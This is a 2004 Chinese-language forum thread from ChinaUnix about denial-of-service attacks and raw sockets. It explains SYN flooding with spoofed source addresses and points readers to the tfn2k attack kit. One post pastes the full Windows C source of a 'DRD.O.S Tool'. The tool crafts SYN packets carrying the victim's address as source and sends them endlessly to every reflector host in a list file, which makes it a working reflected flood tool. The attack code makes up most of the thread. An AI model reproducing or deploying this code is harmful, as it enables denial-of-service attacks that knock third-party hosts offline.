免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1974 | 回复: 8
打印 上一主题 下一主题

关于DOS与原始套接口的问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-06-22 23:57 |只看该作者 |倒序浏览
请哪位兄弟讲讲 DOS 的作用与原理  ,   以及对原始套接口操作时的一些要点

论坛徽章:
0
2 [报告]
发表于 2004-06-23 07:37 |只看该作者

关于DOS与原始套接口的问题

你确定你真的需要DOS下的RAW SOCKET ?

论坛徽章:
0
3 [报告]
发表于 2004-06-23 13:59 |只看该作者

关于DOS与原始套接口的问题

我所说的DOS不是操作系统MS-DOS,是叫做D.O.S的一种手段
近来有朋友要帮忙看一段程序,大致内容如下:
1 构建原始套接口
2 构建IP , TCP 头部 <IP源地址与目标地址,端口自定义>;
3 发送包

我不知道他为什么这么做,有什么作用,只是隐约记得有资料上写过这种手段
叫D.O.S , 现在问题是我能不能在他发的包后加上我还需要发送的数据,目标IP
能不能收到<假设目标IP的端口上有一个LISTEN,能不能建立起TCP握手?>;
我看了<UNIX网络编程卷一>;,但是没有找到答案

论坛徽章:
0
4 [报告]
发表于 2004-06-23 14:06 |只看该作者

关于DOS与原始套接口的问题

Denial of Service

论坛徽章:
0
5 [报告]
发表于 2004-06-23 15:03 |只看该作者

关于DOS与原始套接口的问题

源码可不可以给我一份?wuzb@technodia.com.cn

也许是一个SYN Flood,或者别的源码呢

论坛徽章:
0
6 [报告]
发表于 2004-06-23 19:13 |只看该作者

关于DOS与原始套接口的问题

用虚假的原地址发送syn包,所以被攻击的一方不能完成三次握手,而这些未能马上处理的TCP连接一直排在OS内核栈的等待队列里直至超时,导致连接耗尽,正常的通信却被排在门外,只要持续发送syn,对方就几乎处于哑的状态。

google-->;key word-->; tfn2k.tgz
packetstormsecurity.nl上好像有的,自己去找找吧

论坛徽章:
0
7 [报告]
发表于 2004-06-24 15:54 |只看该作者

关于DOS与原始套接口的问题

代码贴出来,读的一个叫"IPLIST.TXT"的文件确定对方IP,此文件无需贴出
VC写的,发送的IP ,TCP头部与经典的DOS似乎一样,为什么要叫做DRDOS呢?


  1. ///////////////////////////////////////////////////////
  2. ///               DRD.O.S Tool
  3. ///             http://www.safechina.net                     
  4. ///             Written by CDrea                    
  5. ///                2003-01-31                       
  6. ///                                                
  7. ///  If u add some function, Please give me a copy  
  8. ///  mailto: rose_raiden@hotmail.com               
  9. ///////////////////////////////////////////////////////

  10. #include <stdio.h>;
  11. #include <string.h>;
  12. #include <Winsock2.h>;
  13. #include <Ws2tcpip.h>;
  14. #pragma comment(lib,"ws2_32")
  15. #define HOST_LEN 15
  16. #define SEQ 0x28376839
  17. #define TCP_SERVER_PORT 80
  18. #define FAKE_PORT 80
  19. #define STATUS_FAILED 0xFFFF



  20. typedef struct  _iphdr
  21. {
  22.         unsigned char   h_lenver;
  23.         unsigned char   tos;
  24.         unsigned short  total_len;
  25.         unsigned short  ident;
  26.         unsigned short  frag_and_flags;
  27.         unsigned char   ttl;
  28.         unsigned char   proto;
  29.         unsigned short  checksum;
  30.         unsigned int    sourceIP;
  31.         unsigned int    destIP;
  32. }IP_HEADER, * PIP_HEADER;

  33. typedef struct  _tcphdr
  34. {
  35.         unsigned short  th_sport;
  36.         unsigned short  th_dport;
  37.         unsigned int    th_seq;
  38.         unsigned int    th_ack;
  39.         unsigned char   th_lenres;
  40.         unsigned char   th_flag;
  41.         unsigned short  th_win;
  42.         unsigned short  th_sum;
  43.         unsigned short  th_urp;
  44. }TCP_HEADER, * PTCP_HEADER;

  45. struct
  46. {
  47.         unsigned long   saddr;
  48.         unsigned long   daddr;
  49.         char            mbz;
  50.         char            ptcl;
  51.         unsigned short  tcpl;
  52. }psd_header;

  53. int SendThread(int argc, char * argv[], char * destIp);
  54. void Usage(char *);
  55. void GetCMD(int argc, char * argv[]);
  56. USHORT checksum(USHORT * buffer, int size);

  57. int main(int argc, char * argv[])
  58. {
  59.         WSADATA wsaData;
  60.         int     ErrorCode;
  61.        
  62.         if(argc < 2 || argc >; 6)
  63.         {
  64.                 Usage(argv[0]);
  65.                 ExitProcess(STATUS_FAILED);
  66.         }
  67.         if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0)
  68.         {
  69.                 fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode);
  70.                 ExitProcess(STATUS_FAILED);
  71.         }

  72.         ErrorCode = SendThread(argc, argv, argv[1]);
  73.         if(ErrorCode != 0)
  74.         {
  75.                 fprintf(stderr, "Thread failed: %d\n", ErrorCode);
  76.                 ExitProcess(STATUS_FAILED);
  77.         }
  78.         return 0;
  79. }

  80. int SendThread(int argc, char * argv[], char * destIP)
  81. {
  82.         int     TimeOut=2000, ErrorCode, flag, i=0;       
  83.         char    SendBuff[128];
  84.         char    HostName[HOST_LEN];
  85.         char    ch;
  86.         FILE *  fp;
  87.         SOCKET  SendSock;
  88.         struct sockaddr_in  DestAddr;
  89.         IP_HEADER  IpHeader;
  90.         TCP_HEADER TcpHeader;

  91.         if((fp=fopen("iplist.txt", "r")) == NULL)
  92.         {
  93.                 printf("Error: File not found!\n");
  94.                 return -1;
  95.         }
  96.         SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
  97.         if(SendSock == INVALID_SOCKET)
  98.         {
  99.                 fprintf(stderr, "socket failed: %d\n", GetLastError());
  100.                 ExitProcess(STATUS_FAILED);
  101.         }

  102.         flag = true;
  103.         ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int));
  104.         if(ErrorCode == SOCKET_ERROR)
  105.         {
  106.                 fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError());
  107.                 ExitProcess(STATUS_FAILED);
  108.         }

  109.         __try
  110.         {
  111.                 if(argc >; 4)
  112.                         TimeOut = atoi(argv[3]);
  113.                 ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut,
  114.                         sizeof(TimeOut));
  115.                 if(ErrorCode == SOCKET_ERROR)
  116.                 {
  117.                         fprintf(stderr, "set TimeOut failed: %d\n", GetLastError());
  118.                         __leave;
  119.                 }
  120.        
  121.                 DestAddr.sin_family = AF_INET;
  122. //                DestAddr.sin_addr.s_addr = inet_addr(SERVER);
  123.                 if(argc >; 3)
  124.                         DestAddr.sin_port = htons(atoi(argv[3]));
  125.                 else
  126.                         DestAddr.sin_port = htons(TCP_SERVER_PORT);

  127.                 IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
  128.                 IpHeader.tos = 0;
  129.                 IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
  130.                 IpHeader.ident = 1;
  131.                 IpHeader.frag_and_flags = 0;
  132.                 IpHeader.ttl = 128;
  133.                 IpHeader.proto = IPPROTO_TCP;
  134.                 IpHeader.checksum = 0;
  135.                 IpHeader.sourceIP = inet_addr(destIP);
  136.                 IpHeader.destIP = inet_addr("0.0.0.0");

  137.                 if(argc >; 2)
  138.                         TcpHeader.th_sport = htons(atoi(argv[2]));
  139.                 else
  140.                         TcpHeader.th_sport = htons(FAKE_PORT);
  141.                 if(argc >; 3)
  142.                         TcpHeader.th_dport = htons(atoi(argv[3]));
  143.                 else
  144.                         TcpHeader.th_dport = htons(TCP_SERVER_PORT);
  145.                 TcpHeader.th_seq = htonl(SEQ);
  146.                 TcpHeader.th_ack = 0;
  147.                 TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
  148.                 TcpHeader.th_flag = 2;
  149.                 TcpHeader.th_win = htons(16384);
  150.                 TcpHeader.th_urp = 0;
  151.                 TcpHeader.th_sum = 0;

  152.                 psd_header.saddr = IpHeader.sourceIP;
  153.                 psd_header.daddr = IpHeader.destIP;
  154.                 psd_header.mbz = 0;
  155.                 psd_header.ptcl = IPPROTO_TCP;
  156.                 psd_header.tcpl = htons(sizeof(TCP_HEADER));

  157. /*                memcpy(SendBuff, &psd_header, sizeof(psd_header));
  158.                 memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
  159.                 TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
  160.        
  161.                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
  162.                 memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
  163.                 memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
  164.                 IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

  165.                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
  166.                 memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */
  167.                
  168.                 printf("Send Packets\n");
  169.                 int Packets = 0;

  170.                 ch = fgetc(fp);
  171.                 GetCMD(argc, argv);
  172.                 while(1)
  173.                 {
  174.                         if(ch == '\n' || ch == EOF)
  175.                         {
  176.                                 HostName[i] = '\0';
  177. // Add your code here-----------------------
  178.                                 DestAddr.sin_addr.s_addr = inet_addr(HostName);
  179.                                 IpHeader.destIP = inet_addr(HostName);
  180.                                 IpHeader.checksum = 0;
  181.                                 psd_header.daddr = IpHeader.destIP;
  182.                                 TcpHeader.th_seq = htonl(SEQ);
  183.                                 TcpHeader.th_sum = 0;

  184.                                 memcpy(SendBuff, &psd_header, sizeof(psd_header));
  185.                                 memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
  186.                                 TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
  187.        
  188.                                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
  189.                                 memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
  190.                                 memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
  191.                                 IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

  192.                                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
  193.                                 memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));

  194.                                 Packets++;
  195.                                 if(Packets == 10240)
  196.                                 {
  197.                                         printf(".");
  198.                                         Packets = 1;
  199.                                 }
  200.                                 ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0,
  201.                                         (struct sockaddr *)&DestAddr, sizeof(DestAddr));
  202. //                                printf("->;%s\n", HostName);
  203. //----------------------------
  204.                                 i = 0;
  205.                                 ch = fgetc(fp);

  206.                                 if(ch == EOF)
  207.                                 {
  208. //                                        i = 0;
  209.                                         rewind(fp);
  210. //                                        memset(HostName, 0, sizeof(HostName));
  211.                                 }
  212.                         }
  213.                         HostName[i] = ch;
  214.                                 i++;
  215.                         ch = fgetc(fp);
  216.                 }
  217.         }
  218.         __finally
  219.         {
  220.                 if(SendSock == INVALID_SOCKET)
  221.                         closesocket(SendSock);
  222.                 WSACleanup();
  223.         }

  224.         return 0;
  225. }

  226. USHORT checksum(USHORT *buffer, int size)
  227. {
  228.         unsigned long cksum=0;
  229.     while(size >;1)
  230.         {
  231.                 cksum+=*buffer++;
  232.         size -=sizeof(USHORT);
  233.     }
  234.     if(size)
  235.         {
  236.                 cksum += *(UCHAR*)buffer;
  237.         }
  238.     cksum = (cksum >;>; 16) + (cksum & 0xffff);
  239.     cksum += (cksum >;>;16);

  240.         return (USHORT)(~cksum);
  241. }

  242. void Usage(char * msg)
  243. {
  244.         printf("+-----------------------------+\n");
  245.         printf("|  DRD.O.S Tool v0.3          |\n");
  246.         printf("|                             |\n");
  247.         printf("|  http://www.safechina.net   |\n");
  248.         printf("+-----------------------------+\n");
  249.         printf("USAGE:\n");
  250.         printf("  %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg);
  251.         printf("EXAMPLE:\n");
  252.         printf("  %s 192.168.0.1\n", msg);
  253.         printf("  %s 192.168.0.1 80\n", msg);
  254.         printf("  %s 192.168.0.1 80 170 \n", msg);
  255.         printf("  %s 192.168.0.1 80 170 2000\n", msg);
  256. }

  257. void GetCMD(int argc, char * argv[])
  258. {
  259.         printf("<------------------------>;\n");
  260.         printf("  Target: %s\n", argv[2]);
  261.         if(argc >; 3)
  262.                 printf("  Target Port: %d\n", atoi(argv[3]));
  263.         if(argc >; 4)
  264.                 printf("  TCP Server Port: %d\n", atoi(argv[4]));
  265.         if(argc >; 5)
  266.                 printf("  Timeout: %d\n", atoi(argv[5]));
  267.         printf("<------------------------>;\n");
  268. }
  269.        
复制代码

论坛徽章:
0
8 [报告]
发表于 2004-06-25 12:47 |只看该作者

关于DOS与原始套接口的问题

[quote]原帖由 "GG_MM"]请哪位兄弟讲讲 DOS 的作用与原理  ,   以及对原始套接口操作时的一些要点[/quote 发表:

看看Stevens的经典《UNIX网络编程》第一卷吧。

论坛徽章:
0
9 [报告]
发表于 2004-06-26 23:44 |只看该作者

关于DOS与原始套接口的问题

呵呵 还是先看 syn_flood 。drdos 也和syn_flood 差不多。就是利用了握手。
要是win32下面的socket看 windows网络编程
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP